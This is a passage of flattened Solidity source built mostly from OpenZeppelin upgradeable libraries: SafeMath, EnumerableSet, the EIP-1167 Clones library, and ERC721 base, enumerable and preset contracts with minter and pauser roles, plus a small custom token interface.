https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for * deploying minimal proxy contracts, also known as "clones". * * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies * > a minimal bytecode implementation that delegates all calls to a known, fixed address. * * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2` * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the * deterministic method. * * _Available since v3.4._ */ library ClonesUpgradeable { /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create opcode, which should never revert. */ function clone(address implementation) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create(0, ptr, 0x37) } require(instance != address(0), "ERC1167: create failed"); } /** * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`. * * This function uses the create2 opcode and a `salt` to deterministically deploy * the clone. Using the same `implementation` and `salt` multiple time will revert, since * the clones cannot be deployed twice at the same address. */ function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) instance := create2(0, ptr, 0x37, salt) } require(instance != address(0), "ERC1167: create2 failed"); } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address implementation, bytes32 salt, address deployer) internal pure returns (address predicted) { // solhint-disable-next-line no-inline-assembly assembly { let ptr := mload(0x40) mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(ptr, 0x14), shl(0x60, implementation)) mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000) mstore(add(ptr, 0x38), shl(0x60, deployer)) mstore(add(ptr, 0x4c), salt) mstore(add(ptr, 0x6c), keccak256(ptr, 0x37)) predicted := keccak256(add(ptr, 0x37), 0x55) } } /** * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}. */ function predictDeterministicAddress(address implementation, bytes32 salt) internal view returns (address predicted) { return predictDeterministicAddress(implementation, salt, address(this)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IAuthToken { function initialize( string memory _name, string memory _symbol, uint256 _tokenId ) external; function transferOwnership(address _from, address _to) external; function hasRole(bytes32 role, address account) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721BurnableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/ERC721PausableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/CountersUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; /** * @dev {ERC721} token, including: * * - ability for holders to burn (destroy) their tokens * - a minter role that allows for token minting (creation) * - a pauser role that allows to stop all token transfers * - token ID and URI autogeneration * * This contract uses {AccessControl} to lock permissioned functions using the * different roles - head to its documentation for details. * * The account that deploys the contract will be granted the minter and pauser * roles, as well as the default admin role, which will let it grant both minter * and pauser roles to other accounts. */ contract ERC721Preset is Initializable, ContextUpgradeable, AccessControlEnumerableUpgradeable, ERC721EnumerableUpgradeable, ERC721BurnableUpgradeable, ERC721PausableUpgradeable { function initialize( string memory name, string memory symbol, string memory baseTokenURI ) public virtual initializer { __ERC721PresetMinterPauserAutoId_init(name, symbol, baseTokenURI); } using CountersUpgradeable for CountersUpgradeable.Counter; bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE"); bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE"); CountersUpgradeable.Counter internal _tokenIdTracker; string internal _baseTokenURI; /** * @dev Grants `DEFAULT_ADMIN_ROLE`, `MINTER_ROLE` and `PAUSER_ROLE` to the * account that deploys the contract. * * Token URIs will be autogenerated based on `baseURI` and their token IDs. * See {ERC721-tokenURI}. */ function __ERC721PresetMinterPauserAutoId_init( string memory name, string memory symbol, string memory baseTokenURI ) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __AccessControl_init_unchained(); __AccessControlEnumerable_init_unchained(); __ERC721_init_unchained(name, symbol); __ERC721Enumerable_init_unchained(); __ERC721Burnable_init_unchained(); __Pausable_init_unchained(); __ERC721Pausable_init_unchained(); __ERC721PresetMinterPauserAutoId_init_unchained(baseTokenURI); } function __ERC721PresetMinterPauserAutoId_init_unchained(string memory baseTokenURI) internal initializer { _baseTokenURI = baseTokenURI; _setupRole(DEFAULT_ADMIN_ROLE, _msgSender()); _setupRole(MINTER_ROLE, _msgSender()); _setupRole(PAUSER_ROLE, _msgSender()); } function _baseURI() internal view virtual override returns (string memory) { return _baseTokenURI; } /** * @dev Pauses all token transfers. * * See {ERC721Pausable} and {Pausable-_pause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function pause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to pause"); _pause(); } /** * @dev Unpauses all token transfers. * * See {ERC721Pausable} and {Pausable-_unpause}. * * Requirements: * * - the caller must have the `PAUSER_ROLE`. */ function unpause() public virtual { require(hasRole(PAUSER_ROLE, _msgSender()), "ERC721PresetMinterPauserAutoId: must have pauser role to unpause"); _unpause(); } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override(ERC721Upgradeable, ERC721EnumerableUpgradeable, ERC721PausableUpgradeable) { super._beforeTokenTransfer(from, to, tokenId); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerableUpgradeable, ERC721Upgradeable, ERC721EnumerableUpgradeable) returns (bool) { return super.supportsInterface(interfaceId); } uint256[48] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721Upgradeable.sol"; import "./IERC721ReceiverUpgradeable.sol"; import "./extensions/IERC721MetadataUpgradeable.sol"; import "../../utils/AddressUpgradeable.sol"; import "../../utils/ContextUpgradeable.sol"; import "../../utils/StringsUpgradeable.sol"; import "../../utils/introspection/ERC165Upgradeable.sol"; import "../../proxy/utils/Initializable.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable { using AddressUpgradeable for address; using StringsUpgradeable for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ function __ERC721_init(string memory name_, string memory symbol_) internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721_init_unchained(name_, symbol_); } function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) { return interfaceId == type(IERC721Upgradeable).interfaceId || interfaceId == type(IERC721MetadataUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ''; } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721ReceiverUpgradeable(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721ReceiverUpgradeable(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } uint256[44] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../ERC721Upgradeable.sol"; import "./IERC721EnumerableUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable { function __ERC721Enumerable_init() internal initializer { __Context_init_unchained(); __ERC165_init_unchained(); __ERC721Enumerable_init_unchained(); } function __ERC721Enumerable_init_unchained() internal initializer { } // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) { return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721Upgradeable.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721EnumerableUpgradeable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721Upgradeable.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; 